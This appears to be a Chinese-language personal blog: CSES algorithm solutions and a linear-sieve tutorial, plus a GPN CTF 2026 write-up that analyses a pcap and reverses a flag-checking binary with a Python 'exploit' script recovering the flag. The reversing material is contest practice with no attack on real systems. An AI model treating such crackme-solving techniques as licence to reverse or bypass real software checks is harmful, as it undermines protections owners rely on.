這邊解釋一下if(x>1)ans *= (1+1);這行。迴圈跳出時代表 $x$ 不再有小於 $\sqrt{x}$ 的正因數，這表示要嘛 $x=1$ ，不然就是 $x$ 本身就是一個質數。所以如果 $x>1$ ，就代表 $x=某質數^1$ ，故對正因數個數貢獻為 $\times(1+1)$ 。

複雜度的部分，跑迴圈要時 $O(\pi(\sqrt{x}))=O(\frac{\sqrt{x}}{\ln\sqrt{x}})$ ，而所有的 $\nu_p(x)$ 呼叫加總不超過 $O(\log_2{x})$ ，又不難證明

$\lim{x\to\infty}{\frac{\log_2{x}}{\frac{\sqrt{x}}{\ln\sqrt{x}}}}=0$

因此總複雜度為

$O(\frac{\sqrt{x}}{\ln\sqrt{x}})$

AC Code

#includeusing namespace std;#define ll long longconst int MAX_X = 1e6;bool not_prime[MAX_X + 1] = {1,1};int prime[MAX_X + 1];int cnt = 0;void make_prime_list(){  int N = MAX_X;  for(int i=2;i<=N;i++){    if(!not_prime[i]){      prime[++cnt] = i;      for(int j=2*i;j<=N;j+=i) not_prime[j] = 1;    }  }}bool is_prime(int x){return !not_prime[x];}int v(int p, ll &x){ // v代表\nu  int ans = 0;  while(x%p==0){    x /= p;    ans += 1;  }  return ans;}ll divnum(ll x){  if(x==0)return 0;  if(x==1)return 1;  ll ans = 1;  for(int i=1;i<=cnt;i++){    int p = prime[i];    if(1LL*p*p>x)break;    ans *= v(p,x)+1;  }  if(x>1)ans *= (1+1);  return ans;}int main(){  ios::sync_with_stdio(0), cin.tie(0);  int n;  cin >> n;  make_prime_list();  while(n--){    int x;    cin >> x;    cout << divnum(x) << "\n";  }}

複雜度

時間複雜度

$O\left(N \log \log N + Q \cdot \frac{\sqrt{x_{\max}}}{\log \sqrt{x_{\max}}}\right)$

空間複雜度

$\Theta(n)$

真的很醜

解法四：建最大質因數表，再依序除以最大質因數求因數個數

來源：【題解】CSES 1713 Counting Divisors – Yui Huang 演算法學習筆記
想法：ㄧ樣是用標準分解式，但在預處理時將not_prime中的值改為紀錄該數的最大質因數，然後一步步除掉，同時統計質因數的次方
比如 $x=60$ ，步驟會是：

令ans=1
$60$ 的最大質因數為 $5$ ，目前有 $5^1$ ，還剩 $60/5=12$
$12$ 的最大質因數為 $3$ ，和 $5$ 不同，又因為每次都是除掉最大質因數，所以可知標準分解式中 $5$ 的次方一定只有 $1$ 次，故將ans乘以 $1+1=2$ ，目前有 $3^1$ ，還剩 $12/3=4$ ( $5$ 這個質因數處理完畢)
$4$ 的最大質因數為 $2$ ，和 $3$ 不同，所以再將ans乘以 $1+1=2$ ，目前有 $2^1$ ，還剩 $4/2=2$ ( $3$ 這個質因數處理完畢)
$2$ 的最大質因數為 $2$ ，和 $2$ 相同，所以目前有 $2^2$ ，還剩 $1$
碰到 $1$ 了，此時有 $2^2$ ，所以將ans再乘以 $2+1=3$ ，得到最終答案為 $12$

AC Code

跟他原版程式不太一樣，因為我有用自己的方法再寫一次
一是因為不知道這能不能直接轉載
二是我不會vector

#includeusing namespace std;#define ll long longconst int N = 1e6+1;int max_prime_factor[N];int main(){  ios::sync_with_stdio(0), cin.tie(0);  for(int i=2;i<N;i++){    if(!max_prime_factor[i]){      for(int j=i;j<N;j+=i) max_prime_factor[j]=i;    }  }  int n;  cin >> n;  while(n--){    int x, mp, ans=1, t=0;    cin >> x;    while(x!=1){      mp = max_prime_factor[x];      x /= mp; t+=1;      if(max_prime_factor[x] != mp){        ans *= t+1;        t=0;      }    }    cout << ans << "\n";  }}

複雜度

時間複雜度

預處理需要 $\Theta(N\log\log N)$ (等我哪天學了Mertens’ second theorem不然我還是不會證)
計算正因數個數需要 $O(n\log{x_{max}})$
所以總時間複雜度為

$O(N\log\log N + n\log{x_{max}})$

空間複雜度

顯然是

$\Theta(N)$

解法五：線性篩求積性函數

想法：用線性篩+動態規劃建表，把所有答案先都算出來
請見[演算法] 線性篩 | R3X’s Blog

這我也是打很久……
若有誤歡迎留言指正！

[演算法] 線性篩

2026-06-11T05:08:47.000Z

埃拉托斯特尼篩法

我們從大家國一就學過的埃拉托斯特尼篩法開始。
維護一個布林陣列not_prime，索引為 $i$ 那欄表示數字 $i$ 是否為質數，若為質數則該欄為0，若為合數則為1。

我之所以用0表示質數1表示合數是因為如此可省去初始化填入1的步驟。
而埃拉托斯特尼篩法的邏輯就是先預設所有數都是質數，再一步步把不是的劃掉

因為大家都學過這個篩法的步驟和原理(去問你國中數學老師)，以下直接上程式

std::vector<int> prime;bool not_prime[N+1];void Eratosthenes(int n) {  not_prime[0] = not_prime[1] = true;  for (int i=2; i<=n; i++) {    if (!not_prime[i]) {      prime.push_back(i); // 將質數加入 prime      if (1LL*i*i > n) continue;      for (int j=i*i; j<=n; j+=i) not_prime[j] = true;      // 之所以從i*i開始是因為比這個數小的i的倍數i*k (k    }  }}

可以用 Mertens 第二定理證明其時間複雜度為 $O(n\log\log n)$

我不會證

線性篩(歐拉篩法)

因為我這裡卡了很久，所以希望能把它解釋清楚讓更多人能茅塞頓開。

線性篩是埃拉托斯特尼篩法的優化版本。
埃拉托斯特尼篩法中，一個合數會被多次篩到，以 $60$ 為例，當迴圈跑到i=2時，會跑一次not_prime[60] = true;，i=3時也會再次執行not_prime[60] = true;，i=5時也會，但除了第一次，之後都只是花時間在做一件已經完成的事情(也就是重複的跑not_prime[60] = true;)。
線性篩的想法很簡單：

要是我們能讓每個合數都只被他最小的質因數篩掉就好了

如此，篩法的時間複雜度就會降到 $O(n)$

原理解說

每個合數 $K$ 都可以被分解成 $p_K\cdot i_K$ ，其中 $p_K$ 表示 $K$ 的最小質因數。
由於 $p_K$ 是 $K$ 的最小質因數，為 $K$ 最小的非1的因數，從而 $i_K$ 一定大於 $p_K$

我們以 $i_K$ 對合數 $K$ 進行分類，被分到同一類的合數，都能藉由同一個 $i_K$ ，乘以一個「比 $i_K$ 小的質數 $p_K$ 」表示出來。
因此我們能用一個for迴圈，當 $i=i_K$ 時，將所有可用 $i_K$ 乘一個質數表示出來的合數 $K=p\cdot i_K$ 找出來。
$p_K$ 比 $i_K$ 小是這個演算法能成功跑下去的關鍵，能讓i隨著for迴圈慢慢變大的過程中，動態添加新質數，而不用擔心會漏篩。
什麼意思呢？我們手動試一下就知道了。

首先 $i=2$ ，將2加入prime。此時prime = {2}。將所有可以被表示為 $p\cdot 2$ 的合數標記出來，其中 $p$ 為小於等於 $i(=2)$ 的質數。因此只有4被標記為合數：not_prime[2*2] = 1。
接著 $i=3$ ，將3加入prime，此時prime = {2,3}。將所有可以被表示為 $p\cdot 3$ 的合數標記出來，其中 $p\leq i(=3)$ 。因此6、9被標記為合數。
接著 $i=4$ ，4已被標記為合數，因此不加入prime，此時prime = {2,3}。將所有可以被表示為 $p\cdot 4$ 的合數標記出來，其中 $p$ 為小於等於 $i(=4)$ 的質數。因此8、12被標記為合數。(注意：此時我們先忽略後面要加入的break。實際線性篩中 i=4 只會對8標記，而不會對12標記)
接著 $i=5$ ，5還未被標記為合數，故為質數，加入prime，此時prime = {2,3,5}。將所有可以被表示為 $p\cdot 5$ 的合數標記出來，其中 $p$ 為小於等於 $i(=5)$ 的質數。因此10、15、25被標記為合數。

不斷重複，直到 $i=N$ 。

這裡我們解釋兩個細節：

迴圈跑到 $i=i_K$ 時，如果 $i_K$ 是合數，他必可拆成比 $i_K$ 小的質數和另一數的乘積，從而在之前的步驟就被標記出來了，所以若 $i_K$ 沒被標記為合數，他就一定是質數。稍微延伸一下可知此時所有小於 $i_K$ 的質數此時也都被找出來了。
由於 $p_K$ 比 $i_K$ 小，所以當 $i$ 跑到 $i_K$ 時，所有比 $i_K$ 小的質數 $p_K$ 都已經在prime裡了，所以不會漏篩合數。

從上我們知道了線性篩的步驟，也能理解線性篩是能正確運作的。現在剩最後一個問題：
如何確保每個數「只被最小質因數篩到」？
我們回到先前的例子，從 $i=6$ 繼續跑下去：

接著 $i=6$ ，6已被標記為合數，因此不加入prime，此時prime = {2,3,5}。將所有可以被表示為 $p\cdot 6$ 的合數標記出來，其中 $p$ 為小於等於 $i(=6)$ 的質數。因此12, 18, 30被標記為合數。

我們發現12被重複標記了，往回看可以看到當 $i=4$ 時， $12(=3\cdot 4)$ 被3這個質數篩掉了，但我們希望12是被他的最小質因數2篩掉啊！這代表我們在i=4時要做一些事，讓12這個數被留到i=6，才由2這個質數(因為 $12=2\cdot 6$ ，2是12的最小質因數)篩掉。
我們可以注意到prime中的質數是由小到大排列的，所以我們可以在迴圈中多加一個判斷式：對於每個質數 $p$ ，都判斷 $p$ 是否整除 $i$ ，這樣找出來的第一個質數便為 $i$ 的最小質因數。一旦遇到了 $i$ 的最小質因數，後面的數就不用再乘了，因為這些乘出來的數要留給他們的最小質因數篩。
看上去很抽象，我們一樣以小數字舉例：

i=4時，首先乘以p=2得到8，篩掉，沒問題，接著判斷發現 $2\mid4$ ，所以直接break;(即不用考慮後面的 $3\cdot 4=12$ ，因為 $i(=4)$ 的最小質因數已經為 $2$ ，所以 $p\cdot i$ 的最小質因數不會比 $2$ 還大，故不該被比2大的質數(如這裡的3)給篩掉)
i=6時，首先乘以p=2得到12，篩掉，沒問題，接著判斷發現 $2\mid6$ ，所以直接break;(後面的 $3\cdot 6$ 跟 $5\cdot 6$ 的最小質因數都2，因此不該在這時由3、5篩掉)

Code

#includestd::vector<int> prime;bool not_prime[N+1];void pre(int n) {  for (int i=2; i<=n; i++) {    if (!not_prime[i]) prime.push_back(i);    for (int p : prime) {      if (i*p > n) break;      not_prime[i*p] = true;      if (i%p == 0) break;    }  }}

線性篩求歐拉函數

在線性篩的過程中結合動態規劃，我們能達到意想不到的效果。首先是「歐拉函數」的計算。
歐拉函數 $\phi(n)$ 表示小於等於 $n$ 且與 $n$ 互質的正整數個數。比如 $\phi(10)=4$
因為1~10中，1,3,7,9共四個數與10互質。

歐拉函數的性質

若 $p$ 為質數， $\phi(p)=p-1$
若 $p$ 為質數， $\phi(p^k)=p^k-p^{k-1}=p^k\left(1-\frac{1}{p}\right)$
歐拉函數為積性函數：若 $(a,b)=1$ ，則 $\phi(ab)=\phi(a)\phi(b)$
歐拉函數一般式： $\phi(n)=n\prod\limits_{p\in S}\left({1-\frac{1}{p}}\right)$ ， $S$ 為 $n$ 的所有質因數的集合

原理分析

我們的目標是結合動態規劃(用前一個算後面的)，並運用到線性篩能找出最小質因數的特性。
設 $p_n$ 為 $n$ 的最小質因數，令 $n^\prime=\frac{n}{p_n}$ 。
分為以下兩種情形：
情形一： $p_n \mid n^\prime$
此時 $n$ 的所有質因數皆亦為 $n^\prime$ 的，因此

$\phi(n)=n\prod\left({1-\frac{1}{p_i}}\right)=p_nn^\prime\prod\left({1-\frac{1}{p_i}}\right)=p_n\phi(n^\prime)$

情形二： $p_n \nmid n^\prime$
此時 $n^\prime$ 和 $n$ 互質，因此

$\phi(n)=\phi(p_n)\phi(n^\prime)=(p_n-1)\phi(n^\prime)$

我們知道線性篩能夠將每個數都標記一次(看他是質數 / 合數)，因此我們多加一個步驟：在標記同時記錄那個數的歐拉函數值是多少。
和之前相同，我們用i乘以質數表中的數字p來生成出所有的合數。
最後一個問題是，我們要確定在計算 $\phi(n)$ 時， $\phi(n^\prime)$ 已經算好了，解釋也很簡單
由於 $n=p_nn^\prime$ ， $p_n$ 為 $n$ 的最小質因數，所以「計算 $\phi(n)$ 」發生在迴圈中i跑到 $n^\prime$ 時。
我們再來看 $\phi(n^\prime)$ 是在何時被算出來的。
若 $n^\prime$ 為合數，則 $n^\prime$ 的最小質因數至少為2，故 $\phi(n^\prime)$ 必定在迴圈執行到 $i=\lceil\frac{n^\prime}{2}\rceil\leq n^\prime$ 之前就算出來了。
若 $n^\prime$ 為質數，則我們只要讓i跑到 $n^\prime$ 時，先計算 $\phi(n^\prime)=n^\prime-1$ ，再計算 $\phi(n)$ ，就能保證 $\phi(n^\prime)$ 在 $\phi(n)$ 之前算出來。

程式實作

#includestd::vector<int> prime;bool not_prime[N+1];int phi[N+1];void pre(int n) {  phi[1] = 1;  for (int i=2; i<=n; i++) {    if (!not_prime[i]) {        prime.push_back(i);        phi[i] = i-1; // 新增  }    for (int p : prime) {      if (i*p > n) break;      not_prime[i*p] = true;      if (i%p == 0) {        phi[i*p] = p*phi[i]; // 新增        break;      }      phi[i*p] = (p-1)*phi[i]; // 新增    }  }}

線性篩求正因數個數

說明

用類似的分析方法，這次我們維護三個陣列：not_prime、num、d，其中num紀錄num[k]表示 $k$ 的最小質因數在 $k$ 的標準分解式的次數，d[k]表示 $k$ 的正因數個數。

對於質數 $p$ ， $num(p) = 1, d(p) = 2$
對於合數 $n=p_nn^\prime$ $n = p_{n} n^{'}$ ，其中 $p_n$ $p_{n}$ 為 $n$ $n$ 的最小質因數
1. 若 $p_n \mid n^\prime$ ，則 $num(n)=num(n^\prime)+1$ 、 $d(n)=d(n^\prime)\frac{num(n)+1}{num(n^\prime)+1}$
2. 若 $p_n \nmid n^\prime$ ，則 $num(n)=1$ 、 $d(n)=d(n^\prime)(num(n)+1)=2d(n^\prime)$

程式

#includestd::vector<int> prime;bool not_prime[N+1];int num[N+1];int d[N+1];void pre(int n) {  d[1] = 1;  for (int i=2; i<=n; i++) {    if (!not_prime[i]) {        prime.push_back(i);        d[i] = 2;        num[i] = 1;  }    for (int p : prime) {      if (i*p > n) break;      not_prime[i*p] = true;      if (i%p == 0) {        num[i*p] = num[i] + 1;        d[i*p] = d[i]*(num[i*p]+1)/(num[i]+1);        break;      }      num[i*p] = 1;      d[i*p] = 2*d[i];    }  }}

線性篩求積性函數

從上面兩個例子，我們其實可以將其推廣到更多的積性函數 $f(x)$ (如正因數和、莫比烏斯函數等)，分析步驟如下：

考慮怎麼算 $f(p)$ ，其中 $p$ 為質數
考慮將合數拆解成 $n=p_nn^\prime$ $n = p_{n} n^{'}$ ，其中 $p_n$ $p_{n}$ 為 $n$ $n$ 的最小質因數，怎麼在已知 $f(n^\prime)$ $f (n^{'})$ 下計算出 $f(n)$ $f (n)$
- 分別考慮 $p_n \mid n^\prime$ 和 $p_n \nmid n^\prime$ 的情形

接著照樣造程式即可！

參考資料

GPN CTF 2026 Writeup

2026-06-10T12:26:51.000Z

因為考上台大了，這個暑假打算上CTFtime上找一些比賽來打。本來想說畢業當周周末來打這個GPN CTF 2026，結果開賽前突然看到零日餅乾社裡傳一個ISIP-HS CTF，比賽時間包含這個GPN CTF，結果就變成GPN CTF只解了兩三題(還簡單題XD)(都在打ISIP-HS CTF)。

Sanity Check

Welcome題，點進Rule看即可

Flag: GPNCTF{Yes Chef! I am ready for a fair competition}

Double Fried

題目給了一個pcap檔案，用Wireshark去開

發現訊息有R開頭跟F開頭兩種，而從圖一可以猜出F開頭的是雜訊，所以我們只看R開頭的。
用frame contains "R"進行篩選
然後手動把Flag字母接起來~~因為我也只會人工接起來~~
Flag: GPNCTF{NICe, yOu FoUnD 0U7 wHO dID NOt b3L0ng ThEr3}

Auto Cooker

把題目給的檔案丟進IDA逆向

int __fastcall main(int argc, const char **argv, const char **envp){  _BOOL4 v4; // [rsp+1Ch] [rbp-4h]  v4 = 0;  if ( argc > 1 )    v4 = strcmp(argv[1], "cooking_class") == 0;  printf("%s", HEADER[0]);  printf("%s\n\n", WELCOME);  puts("Enter your recipe (flag) you want to cook and confirm with [ENTER]:");  fgets(RECIPE, 64, _bss_start);  check_recipe_length();  FOOD = *(_QWORD *)RECIPE;  qword_404128 = qword_4040E8;  qword_404130 = qword_4040F0;  qword_404138 = qword_4040F8;  qword_404140 = qword_404100;  qword_404148 = qword_404108;  qword_404150 = qword_404110;  qword_404158 = qword_404118;  explain_current_food(v4);  salt();  explain_current_food(v4);  fry();  explain_current_food(v4);  trim();  explain_current_food(v4);  mix();  explain_current_food(v4);  taste();  puts("Congratulations, you \"cooked\" a delicious plate of food!");  return 0;}

發現它會對輸入做一連串處理，最後taste品嘗一下
看起來是他會檢查你的輸入是不是Flag，是的話就會Congratulations
首先是我們後面的函式如果要執行，都需要v4為真才行(看完下面程式碼你就動了)，所以我們在執行程式時需要傳入cooking_class這個參數。也就是

./autocooker cooking_class

接著一一分析每個函式

check_recipe_length

__int64 check_recipe_length(){  __int64 result; // rax  if ( RECIPE[TARGET_LENGTH] || (result = (unsigned __int8)RECIPE[TARGET_LENGTH - 1], !(_BYTE)result) )  {    puts("Your recipe is too complicated or too simple, I already know it won't taste good :(");    exit(1);  }  return result;}

我們分析

RECIPE[TARGET_LENGTH] || (result = (unsigned __int8)RECIPE[TARGET_LENGTH - 1], !(_BYTE)result)

這個判斷式的意思。
前半段檢查是否RECIPE[TARGET_LENGTH] != 0。由於C的字串結尾會填入\0
後半段用了,運算符，代表先執行前面的result = (unsigned __int8)RECIPE[TARGET_LENGTH - 1]，再用!(_BYTE)result進行判斷，
即檢查是否result == 0。因此上面那串等價於：

RECIPE[TARGET_LENGTH] != '\0'|| // ORRECIPE[TARGET_LENGTH-1] == '\0'

而RECIPE是用fget讀入，因此字串結尾會是\n\0

而我們點進去TARGET_LENGTH可以看到他的數值為3Dh，轉成10進位就是61。
因此我們需要輸入長度為60的字串(加上'\n'剛好61個字)
即Flag的長度為60

salt

__int64 salt(){  __int64 result; // rax  unsigned int i; // [rsp+Ch] [rbp-4h]  puts("Salting...");  for ( i = 0; ; ++i )  {    result = i;    if ( i > 0x3F )      break;    *((_BYTE *)&FOOD + (int)i) ^= GRAIN_OF_SALT;  }  return result;}

這串程式碼表示將字串中的每個字(包括最後的\n和\0，還有字串後面(因為雖然字串結束了，但RECIPE(或說FOOD)陣列大小為64，還沒結束)陣列初始化時的兩個\0)和GRAIN_OF_SALT XOR
點進去可發現GRAIN_OF_SALT的值為0AAh，即0xAA

fry

__int64 fry(){  __int64 result; // rax  signed int i; // [rsp+Ch] [rbp-4h]  puts("Frying...");  for ( i = 0; ; ++i )  {    result = (unsigned int)i;    if ( (unsigned int)i > 0x3F )      break;    *((_BYTE *)&FOOD + i) = (*((_BYTE *)&FOOD + i) >> 4) | (16 * *((_BYTE *)&FOOD + i));  }  return result;}

依樣是對每個字操作，操作為以下這句：

*((_BYTE *)&FOOD + i) = (*((_BYTE *)&FOOD + i) >> 4) | (16 * *((_BYTE *)&FOOD + i));

我們先令unsigned char x = *((_BYTE *)&FOOD + i);，則上面那段程式碼變為：

x = ( x >> 4 ) | ( 16 * x )

x >> 4會取出x的高4位
16 * x相當於x << 4，又一個char只有8bits，因此多出來的4bits會直接被捨棄

比如若x = 0x10111001
x >> 4 為 0x00001011
16 * x 為 0x10010000

因此這個函式的功能是交換每個字的高4bits和低4bits，如0xED變成0xDE。

trim

__int64 trim(){  __int64 result; // rax  unsigned int i; // [rsp+Ch] [rbp-4h]  puts("Oops, it burned :(\nCutting off the burnt bits...");  for ( i = TARGET_LENGTH; ; ++i )  {    result = i;    if ( i > 0x3F )      break;    *((_BYTE *)&FOOD + (int)i) &= 0xFu;  }  return result;}

for迴圈從i = TARGET_LENGTH，即0x3D開始，
而和0xFu (u代表unsigned int) AND 表示刪除高4bits。
因此此函式功能為：刪掉末三個數的高位
因此
0xAA 0xAA 0xAA --> 0x0A 0x0A 0x0A

mix

__int64 mix(){  __int64 result; // rax  _QWORD v1[9]; // [rsp+0h] [rbp-50h]  unsigned int i; // [rsp+4Ch] [rbp-4h]  puts("Mixing...");  v1[0] = FOOD;  v1[1] = qword_404128;  v1[2] = qword_404130;  v1[3] = qword_404138;  v1[4] = qword_404140;  v1[5] = qword_404148;  v1[6] = qword_404150;  v1[7] = qword_404158;  for ( i = 0; ; ++i )  {    result = i;    if ( i > 0x3F )      break;    *((_BYTE *)&FOOD + (int)i) = *((_BYTE *)v1 + 63LL - (int)i);  }  return result;}

把FOOD整串顛倒。

taste

__int64 taste(){  __int64 result; // rax  unsigned int i; // [rsp+8h] [rbp-8h]  int v2; // [rsp+Ch] [rbp-4h]  puts("Taste testing...");  v2 = 0;  for ( i = 0; ; ++i )  {    result = i;    if ( i > 0x3F )      break;    v2 |= *((_BYTE *)&FOOD + (int)i) != (unsigned __int8)DELICIOUS[i];  }  if ( v2 )  {    puts("YUCK!\nOur taste tester thinks your recipe produces bad food, we cannot serve this...");    exit(1);  }  return result;}

檢查是否FOOD中每一位都跟DELICIOUS中的相同。

因此，我們只要取出DELICIOUS的值，並把四個步驟逆著推回去就好。

exploit

#!/usr/bin/python3delicious = [    0x0A, 0x0A, 0x0A, 0x0A, 0x7D, 0xDD, 0x5E, 0x4E,    0x5F, 0x9D, 0xFC, 0x2C, 0x9D, 0xB9, 0xEC, 0x5F,    0xEF, 0xF9, 0x99, 0xEE, 0x8F, 0xE9, 0x2E, 0x5F,    0x8D, 0xFF, 0x5C, 0x5F, 0x8F, 0x5E, 0xCC, 0x5F,    0x3D, 0xEE, 0xE9, 0xFE, 0x8F, 0x5F, 0xFE, 0x8F,    0xE9, 0x5F, 0xFD, 0xA9, 0x3F, 0x5F, 0x99, 0x1E,    0x3E, 0x6C, 0x5F, 0x6C, 0xFC, 0xFC, 0xCE, 0x5F,    0x3E, 0x1D, 0xCE, 0xEF, 0x9E, 0x4E, 0xAF, 0xDE]delicious.reverse() # re-mix# re-trimfor i in (61,62,63):    delicious[i] = 0xAAdelicious[60] = 0x0A# re-fryfor i in range(64):    delicious[i] = (delicious[i] >> 4 | delicious[i] << 4) & 0xFF# re-saltfor i in range(64):    delicious[i] ^= 0xAAprint("".join( chr(h) for h in delicious))

執行後拿到
Flag: GPNCTF{I_Feel_lIK3_Y0u_4RE_RE4Dy_fOR_oUr_H4RD35T_d1shes_NOw}

以下為AutoCooker執行畫面，可以此觀察字串的變化：

CSES Missing Number 題解

2026-06-03T05:30:03.000Z

題目

~~我覺得把題目複製過來是最累的一件事~~

Time limit: 1.00 s
Memory limit: 512 MB

You are given all numbers between $1,2,\ldots,n$ except one. Your task is to find the missing number.

Input	Output
The first input line contains an integer $n$ . The second line contains $n-1$ numbers. Each number is distinct and between $1$ and $n$ (inclusive).	Print the missing number.

Constraints

$2 \le n \le 2 \cdot 10^5$

Example:

Input	Output
5 2 3 1 5	4

解法

解法一

分析

這一個是我的做法
我很暴力的建一個布林陣列，用來標記哪些數字出現過了。當輸入 $k$ 時，將陣列中Index為 $k$ 的那項設為True
最後再掃一遍陣列的Index $1$ ~ $n$ ，看哪一個是False就是少掉的數字。

AC Code

#includeusing namespace std; bool Number[200001];long long n;int main(){    std::ios::sync_with_stdio(0);    std::cin.tie(0);    cin >> n;    for(int i=1;i<n;i++){        int x;        cin >> x;        Number[x] = 1;    }    for(int i=1;i<=n;i++){        if(Number[i] == 0){cout << i; break;}    }}

解法二

這是我在網路上看到的：CSES-Missing Number - HackMD
計算輸入的 $n-1$ 個數的總和，再用 $1$ 到 $n$ 的總和去扣，得到的答案就是少掉的數字。
好處是可以大大降低空間複雜度。

程式自己練習吧反正不難。

CSES Dice Combinations 題解

2026-06-03T05:06:13.000Z

~~DP? 想成高中數學的遞迴就好啦~~

題目

Time limit: 1.00 s
Memory limit: 512 MB

Your task is to count the number of ways to construct sum n by throwing a dice one or more times. Each throw produces an outcome between 1 and 6.
For example, if n=3, there are 4 ways:

1+1+1
1+2
2+1
3

Input	Output
The only input line has an integer $n$ .	Print the number of ways modulo $10^9+7$ .

Constraints

$1 \le n \le 10^6$

Example:

Input	Output
3	4

解法

分析

這是DP入門題
給定 $n\in\N$ ，令 $\mathrm{dp}[n]$ 表示欲求的方法數。

首先處理 $n=1,2,\cdots,6$ 的情形，此時是整數的有序拆分
( $n\geq 7$ 時就不是了，以 $n=7$ 作為舉例，直接算整數拆分的方法數會多算到「擲出一個 $7$ 」這個方法，但骰子點數只有 $1$ ~ $6$ )
對於整數 $n$ 的整數拆分，可以看成有 $n$ 顆球一字排開，如此共有 $n-1$ 個空隙，每個空隙都可選擇放/不放一個隔板，此方法數與整數拆分方法數一一對應。如此共有 $2^{n-1}$ 種方法。

而當 $n=k\geq 7$ ，欲組出總和為 $k$ ，可以是以下幾種情形：
- 前幾次已組出 $k-1$ ，最後一次擲出 $1$
- 前幾次已組出 $k-2$ ，最後一次擲出 $2$
- 前幾次已組出 $k-3$ ，最後一次擲出 $3$
等等，一直到
- 前幾次已組出 $k-6$ ，最後一次擲出 $6$

於是

$\begin{cases}\mathbb{dp}[n]=2^{n-1}, \space n=1,2,\cdots,6 \\\mathrm{dp}[n]=\mathrm{dp}[n-1]+\mathrm{dp}[n-2]+\cdots+\mathrm{dp}[n-6],\space n\geq 7\end{cases}$

喔然後記得模 $10^9+7$

AC Code

#includeusing namespace std;const int M = 1e9+7;const int N_MAX = 1e6;long long dp[N_MAX+1];int main(){  int n;  cin >> n;  for(int i=1;i<=6;i++){dp[i] = 1 << (i-1);}  for(int i=7;i<=n;i++){    for(int j=1;j<=6;j++){      dp[i] = (dp[i] + dp[i-j]) % M;    }  }  cout << dp[n];}

這裡用了一個技巧，1 << (i-1)。其中<<是左移算子，表示在二進位表示中將整個數字往左移i-1格，然後在後面補 $0$ 。
比如1 << 5的結果等於 $100000_2=2^5=32_{10}$ 。所以1 << (i-1)其實就是 $2^{i-1}$ 的意思。

[Note] Writing a simple Program in C - LiveOverflow

2026-06-03T04:09:45.000Z

看了這部影片 Writing a simple Program in C - YouTube 做的筆記

PATH

env | grep "PATH" # orecho $PATH #this one# add to PATH(for one time)export PATH=$PATH:directory

vim 基礎

:syntax on #上色:set number #標號

C 語言

#include int main(int argc, char *argv[]){    if(argc==2){        printf("Knock, Knock, %s\n", argv[1]);    } else {        fprintf(stderr, "Usage: %s \n", argv[0]);        return 1;    }}

解析：

argc: 參數數量(從檔案名稱算起)

argv: 參數矩陣(包含檔案名稱)
範例：

#include int main(int argc, char *argv[]){  printf("argc: %d\n",argc);  printf("argv:\n")  for(int i=0;i<argc;i++){      printf("\targv[%d]: %s\n", i, argv[i]);  }  return 0;}

輸出：

CSES Bracket Sequences I 題解

2026-06-01T11:43:04.000Z

題目

Time limit: 1.00 s
Memory limit: 512 MB

Your task is to calculate the number of valid bracket sequences of length $n$ . For example, when $n=6$ , there are $5$ sequences:

()()()
()(())
(())()
((()))
(()())

Input	Output
The only input line has an integer $n$ .	Print the number of sequences modulo $10^9+7$ .

Constraints

$1 \le n \le 10^6$

Example:

Input	Output
6	5

解法

這題很顯然是在考卡特蘭數

卡特蘭數

定義

卡特蘭數 $C_n$ 表示有A, B各 $n$ 個，A永不落後B的排列方法數。組合學上有很多問題都跟卡特蘭數有關。

公式

我們可以將卡特蘭數問題轉換成 $n\times n$ 網格上，從左下到右上角的路徑方法數，最終可推得

$C_n = \binom{2n}{n}-\binom{2n}{n+1} = \frac{1}{n+1}\binom{2n}{n}, n\geq 1$

(網路上有很多教學，在此就不贅述了，反正推過你最後還是得把結果記起來)

遞迴

卡特蘭數的遞迴式如下：

$\begin{cases}C_0=1\\C_{n+1}=C_0C_n+C_1C_{n-1}+\cdots+C_{n-1}C_1+C_nC_0=\sum\limits_{i=0}^{n}C_{i}C_{n-i}, n\geq 0\end{cases}$

原題分析

顯然 $n$ 為奇數時答案為 $0$ ，而 $n$ 為偶數時所求即 $C_{\frac{n}{2}}$ 。
接著我們只需想辦法算出 $C_k~\rm{mod}~(10^9+7)$ 即可。而

$C_k=\frac{1}{k+1}\binom{2k}{k}=\frac{1}{k+1}\cdot\frac{(k+1)(k+2)\cdots 2k}{1\cdot 2\cdots k}=\frac{(k+2)(k+3)\cdots 2k}{1\cdot 2\cdots k}$

我們令 $\mathrm{num}=(k+2)(k+3)\cdots 2k$ (代表分子，numerator)、 $\mathrm{den}=1\cdot 2\cdots k$ (代表分母，denominator)，則

$C_k=\frac{\mathrm{num}}{\mathrm{den}}\Rightarrow\mathrm{den}\cdot C_k=\mathrm{num}$

接著兩邊同時mod $(10^9+7)$ ，假設模完他變成 $AC_k\equiv B\pmod{10^9+7}$ ，那麼 $C_k\equiv A^{-1}B\pmod{10^9+7}$

所以我們還需要寫一個用來求模反元素的函式。

求解模反元素

若 $(a,M)=1$ (此時才必有唯一的模反元素)，則稱

$ax\equiv 1\pmod{M}$

的解 $x$ 為 $a$ 模 $M$ 的反元素，記作 $a^{-1}$

方法一：費馬小定理+快速冪

由於模數 $M=10^9+7$ 為質數，由費馬小定理知

$a^{M-1}\equiv 1\equiv ax\pmod M\Rightarrow x\equiv a^{M-2}\pmod M$

而 $a^{M-2}$ 可由上次提過的快速冪算出。

實現程式碼如下：

#includeusing namespace std;#define ll long longll fast_pow(ll base, ll exp, int m){  ll res = 1LL;  while(exp > 0){    if(exp%2==1){res = (res*base) % m;}    base = (base*base) % m;    exp /= 2;  }  return res;}ll invert(ll a, ll M){ // 僅當M為質數時可用  return fast_pow(a, M-2, M)}

當然，就算 $M$ 不是質數，我們還是可以用歐拉定理推出

$x\equiv a^{\phi(M)-1}\pmod M$

但這等於我們還要先去算出歐拉函數，通常不會比較方便。因此此時較為建議以下方法二。

方法二：擴展歐幾里得算法

打CTF也打多久了，怎麼連個擴展歐幾里得都不會寫
我也是搞好久才懂

這個演算法十分重要，打Crypto時也會遇到(騙你的，這太基礎了題目大概是不會考這個w)

我們都知道歐幾里得演算法(也就是輾轉相除法)可以用來求兩數的最大公因數，那擴展歐幾里得算法是拿來幹嘛的呢？
貝祖定理告訴我們，對於所有 $a,b\in \Z$ 且 $ab\neq 0$ ，存在 $x,y\in\Z$ 使得

$ax+by=\gcd(a,b)$

擴展歐幾里得演算法就是用來找出這組整數 $(x,y)$ 的。
以下說明用到了遞迴的概念。
先將 $a$ 以 $b$ 除，得到

$a=bq+r \Rightarrow r=a-bq$

由輾轉相除法原理， $\gcd(a,b)=\gcd(b,r)$ ，令為 $k$ 。
現在我們想像 $k$ 已寫成 $b,r$ 的線性組合(貝祖定理) $k=bx^\prime+ry^\prime$ 。
